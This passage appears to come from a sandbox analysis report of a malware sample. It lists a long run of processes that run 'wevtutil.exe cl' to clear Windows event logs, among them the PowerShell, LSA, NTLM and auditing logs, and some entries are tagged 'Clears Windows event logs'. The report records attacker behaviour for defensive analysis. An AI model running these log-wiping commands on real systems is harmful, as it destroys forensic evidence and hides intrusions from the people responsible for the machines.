    wevtutil.exe cl "Microsoft-Windows-Kernel-AppCompat/Performance"
    3⤵
    PID:12112
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-ApphelpCache/Analytic"
    3⤵
    PID:15300
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-ApphelpCache/Debug"
    3⤵
    PID:5968
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-ApphelpCache/Operational"
    3⤵
    PID:14684
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Boot/Analytic"
    3⤵
    PID:10188
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Boot/Operational"
    3⤵
    PID:18192
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-BootDiagnostics/Diagnostic"
    3⤵
    PID:2564
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-CPU-Partition/Analytic"
    3⤵
    PID:4984
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-CPU-Starvation/Operational"
    3⤵
    PID:13824
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Cache/Operational"
    3⤵
    PID:14728
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Disk/Analytic"
    3⤵
    PID:14984
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Dump/Operational"
    3⤵
    PID:2836
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Admin"
    3⤵
    PID:6512
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Analytic"
    3⤵
    PID:17104
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-File/Analytic"
    3⤵
    PID:13588
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-IO/Operational"
    3⤵
    PID:5556
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Interrupt-Steering/Diagnostic"
    3⤵
    PID:17368
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-IoTrace/Diagnostic"
    3⤵
    PID:13336
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-LiveDump/Analytic"
    3⤵
    PID:7296
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-LiveDump/Operational"
    3⤵
    PID:16132
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Memory/Analytic"
    3⤵
    PID:4408
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Network/Analytic"
    3⤵
    PID:15836
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PRM/Operational"
    3⤵
    PID:5660
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Pdc/Diagnostic"
    3⤵
    PID:17272
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Pep/Diagnostic"
    3⤵
    PID:7596
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Boot Diagnostic"
    3⤵
    PID:13504
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Configuration"
    3⤵
    PID:11584
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Configuration Diagnostic"
    3⤵
    PID:13628
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Device Enumeration Diagnostic"
    3⤵
    PID:12540
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Device Management"
    3⤵
    PID:12552
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Driver Diagnostic"
    3⤵
    PID:17624
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-PnP/Driver Watchdog"
    3⤵
    PID:2288
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Diagnostic"
    3⤵
    PID:1056
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Diagnostic"
    3⤵
    PID:18388
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Operational"
    3⤵
    PID:13800
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Prefetch/Diagnostic"
    3⤵
    PID:13516
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Process/Analytic"
    3⤵
    PID:10236
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Processor-Power/Diagnostic"
    3⤵
    PID:21900
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Registry/Analytic"
    3⤵
    PID:19596
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-Registry/Performance"
    3⤵
    PID:12152
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-ShimEngine/Debug"
    3⤵
    PID:8164
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-ShimEngine/Diagnostic"
    3⤵
    PID:20228
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-ShimEngine/Operational"
    3⤵
    PID:4804
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Analytic"
    3⤵
    PID:11812
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Operational"
    3⤵
    PID:15208
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Analytic"
    3⤵
    PID:11836
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Debug"
    3⤵
    PID:21924
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Operational"
    3⤵
    PID:21972
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Errors"
    3⤵
    PID:8096
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Operational"
    3⤵
    PID:4168
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Kernel-XDV/Analytic"
    3⤵
    PID:1504
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-KeyboardFilter/Admin"
    3⤵
    PID:3452
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-KeyboardFilter/Operational"
    3⤵
    PID:3224
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-KeyboardFilter/Performance"
    3⤵
    PID:9784
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Known Folders API Service"
    3⤵
    PID:13576
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-L2NA/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:4824
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LAPS/Operational"
    3⤵
    PID:13600
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LDAP-Client/Debug"
    3⤵
    PID:6392
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LSA/Diagnostic"
    3⤵
    PID:14044
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LSA/Operational"
    3⤵
    PID:15172
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LSA/Performance"
    3⤵
    PID:14096
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LUA-ConsentUI/Diagnostic"
    3⤵
    PID:18304
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Analytic"
    3⤵
    PID:10912
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Debug"
    3⤵
    PID:1084
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Operational"
    3⤵
    PID:12892
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LimitsManagement/Diagnostic"
    3⤵
    PID:5032
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LinkLayerDiscoveryProtocol/Diagnostic"
    3⤵
    PID:20696
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LinkLayerDiscoveryProtocol/Operational"
    3⤵
    PID:22276
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LiveId/Analytic"
    3⤵
    PID:14248
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LiveId/Operational"
    3⤵
    PID:19792
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-LocationServiceProvider/Debug"
    3⤵
    PID:16264
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MPEG2-Video-Encoder-MFT_Analytic"
    3⤵
    PID:11248
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MPS-CLNT/Diagnostic"
    3⤵
    PID:6788
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MPS-DRV/Diagnostic"
    3⤵
    PID:21040
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MPS-SRV/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:15200
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MSFTEDIT/Diagnostic"
    3⤵
    PID:2492
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MSPaint/Admin"
    3⤵
    PID:13480
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MSPaint/Debug"
    3⤵
    PID:9788
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MSPaint/Diagnostic"
    3⤵
    PID:6992
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MUI/Admin"
    3⤵
    PID:6544
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MUI/Analytic"
    3⤵
    PID:6320
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MUI/Debug"
    3⤵
    PID:4764
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MUI/Operational"
    3⤵
    PID:4420
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Media-Streaming/DMC"
    3⤵
    PID:7188
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Media-Streaming/DMR"
    3⤵
    PID:17924
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Media-Streaming/MDE"
    3⤵
    PID:4772
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFCaptureEngine/MFCaptureEngine"
    3⤵
    PID:7004
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/SinkWriter"
    3⤵
    PID:8224
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/SourceReader"
    3⤵
    PID:22800
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-MFReadWrite/Transform"
    3⤵
    PID:19844
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-Performance/SARStreamResource"
    3⤵
    - Clears Windows event logs
    PID:8888
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MediaFoundation-PlayAPI/Analytic"
    3⤵
    PID:4212
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MemoryDiagnostics-Results/Debug"
    3⤵
    PID:6852
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Minstore/Analytic"
    3⤵
    PID:5636
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Minstore/Debug"
    3⤵
    PID:944
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Mobile-Broadband-Experience-Api-Internal/Analytic"
    3⤵
    PID:2576
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Mobile-Broadband-Experience-Api/Analytic"
    3⤵
    PID:7192
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Mobile-Broadband-Experience-SmsApi/Analytic"
    3⤵
    PID:17892
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MobilityCenter/Performance"
    3⤵
    PID:17100
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Admin"
    3⤵
    PID:11464
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Autopilot"
    3⤵
    PID:14940
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Debug"
    3⤵
    PID:16896
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Diagnostics"
    3⤵
    PID:8488
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/ManagementService"
    3⤵
    PID:20436
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MosHost/Operational"
    3⤵
    PID:4500
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-MosHost/Performance"
    3⤵
    PID:6548
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Mprddm/Operational"
    3⤵
    PID:19716
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NCSI/Analytic"
    3⤵
    PID:19428
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NCSI/Operational"
    3⤵
    PID:16496
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NDF-HelperClassDiscovery/Debug"
    3⤵
    PID:3428
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NDIS-PacketCapture/Diagnostic"
    3⤵
    PID:1364
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NDIS/Diagnostic"
    3⤵
    PID:7532
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NDIS/Operational"
    3⤵
    PID:20368
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NTLM/Operational"
    3⤵
    PID:9776
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NWiFi/Diagnostic"
    3⤵
    PID:8988
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Narrator/Diagnostic"
    3⤵
    PID:17532
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Ncasvc/Operational"
    3⤵
    PID:21960
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NcdAutoSetup/Diagnostic"
    3⤵
    PID:17652
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NcdAutoSetup/Operational"
    3⤵
    PID:22740
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NdisImPlatform/Operational"
    3⤵
    PID:22408
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Ndu/Diagnostic"
    3⤵
    PID:22344
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetShell/Performance"
    3⤵
    PID:22176
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Network-Connection-Broker"
    3⤵
    PID:14112
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Network-ExecutionContext/Operational"
    3⤵
    PID:2276
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Network-Setup/Diagnostic"
    3⤵
    PID:8720
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Network-and-Sharing-Center/Diagnostic"
    3⤵
    PID:11240
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkBridge/Diagnostic"
    3⤵
    PID:18316
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Diagnostic"
    3⤵
    PID:16064
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Operational"
    3⤵
    PID:12028
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkProvider/Operational"
    3⤵
    - Clears Windows event logs
    PID:21932
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkProvisioning/Analytic"
    3⤵
    PID:7456
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkProvisioning/Operational"
    3⤵
    PID:16972
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NetworkSecurity/Debug"
    3⤵
    PID:14660
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Networking-Correlation/Diagnostic"
    3⤵
    PID:2728
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Networking-RealTimeCommunication/Tracing"
    3⤵
    - System Time Discovery
    PID:16820
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NlaSvc/Diagnostic"
    3⤵
    PID:18356
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-NlaSvc/Operational"
    3⤵
    PID:23508
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Ntfs/Operational"
    3⤵
    - Clears Windows event logs
    PID:7096
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Ntfs/Performance"
    3⤵
    PID:9476
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Ntfs/WHC"
    3⤵
    PID:19332
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OLE/Clipboard-Performance"
    3⤵
    - Clears Windows event logs
    PID:8900
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OLEACC/Debug"
    3⤵
    PID:16072
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OLEACC/Diagnostic"
    3⤵
    PID:3172
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OOBE-FirstLogonAnim/Diagnostic"
    3⤵
    PID:4768
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OOBE-Machine-Core/Diagnostic"
    3⤵
    PID:5812
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OOBE-Machine-DUI/Diagnostic"
    3⤵
    PID:6012
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OOBE-Machine-DUI/Operational"
    3⤵
    PID:10884
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OOBE-Machine-Plugins-Wireless/Diagnostic"
    3⤵
    PID:6408
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Analytic"
    3⤵
    PID:19248
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Debug"
    3⤵
    PID:20296
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Operational"
    3⤵
    PID:16556
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OfflineFiles/SyncLog"
    3⤵
    PID:13360
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OneBackup/Debug"
    3⤵
    PID:12684
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OneX/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:13284
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OneX/Operational"
    3⤵
    PID:13140
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OobeLdr/Analytic"
    3⤵
    PID:16592
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-OtpCredentialProvider/Operational"
    3⤵
    PID:18920
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PCI/Diagnostic"
    3⤵
    PID:11352
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PCI/Operational"
    3⤵
    PID:9220
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ParentalControls/Operational"
    3⤵
    - Clears Windows event logs
    PID:9904
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Partition/Analytic"
    3⤵
    PID:21200
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Partition/Debug"
    3⤵
    PID:17944
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Partition/Diagnostic"
    3⤵
    PID:16780
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PerceptionRuntime/Operational"
    3⤵
    PID:14456
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PerceptionSensorDataService/Operational"
    3⤵
    PID:11408
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Perflib/Operational"
    3⤵
    PID:17856
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-Nvdimm/Analytic"
    3⤵
    PID:19212
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-Nvdimm/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:13176
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-Nvdimm/Operational"
    3⤵
    PID:22948
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-PmemDisk/Analytic"
    3⤵
    PID:17628
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-PmemDisk/Diagnostic"
    3⤵
    PID:17232
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-PmemDisk/Operational"
    3⤵
    PID:17416
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-ScmBus/Analytic"
    3⤵
    PID:8780
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-ScmBus/Certification"
    3⤵
    PID:15916
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-ScmBus/Diagnose"
    3⤵
    PID:19760
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PersistentMemory-ScmBus/Operational"
    3⤵
    PID:8656
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PhotoAcq/Analytic"
    3⤵
    PID:1168
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PlayToManager/Analytic"
    3⤵
    PID:1852
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Policy/Analytic"
    3⤵
    PID:3332
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Policy/Operational"
    3⤵
    PID:15776
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PortableDeviceStatusProvider/Analytic"
    3⤵
    PID:2904
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PortableDeviceSyncProvider/Analytic"
    3⤵
    - Clears Windows event logs
    PID:10716
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerCfg/Diagnostic"
    3⤵
    - Clears Windows event logs
    - Power Settings
    PID:7916
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerCpl/Diagnostic"
    3⤵
    PID:17040
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerEfficiencyDiagnostics/Diagnostic"
    3⤵
    PID:6272
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager/Analytic"
    3⤵
    PID:11168
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager/Debug"
    3⤵
    PID:19688
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell-DesiredStateConfiguration-FileDownloadManager/Operational"
    3⤵
    PID:9164
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell/Admin"
    3⤵
    PID:23064
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell/Analytic"
    3⤵
    PID:18248
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell/Debug"
    3⤵
    PID:12616
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PowerShell/Operational"
    3⤵
    PID:4892
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintBRM/Admin"
    3⤵
    PID:8076
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintService-USBMon/Debug"
    3⤵
    PID:12548
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintService/Admin"
    3⤵
    PID:20064
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintService/Debug"
    3⤵
    PID:12640
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-PrintService/Operational"
    3⤵
    PID:13696
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Privacy-Auditing-PermissiveLearningMode/Operational"
    3⤵
    PID:14900
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Privacy-Auditing/Operational"
    3⤵
    PID:17568
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ProcessStateManager/Diagnostic"
    3⤵
    PID:18384
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Program-Compatibility-Assistant/Analytic"
    3⤵
    PID:20416
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Program-Compatibility-Assistant/CompatAfterUpgrade"
    3⤵
    PID:21524
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Provisioning-Diagnostics-Provider/Admin"
    3⤵
    PID:21580
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Provisioning-Diagnostics-Provider/AutoPilot"
    3⤵
    PID:21640
- - C:\Windows\System32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Provisioning-Diagnostics-Provider/Debug"
    3⤵
    PID:21656
- - C:\Windows\System32\wevtutil.exe
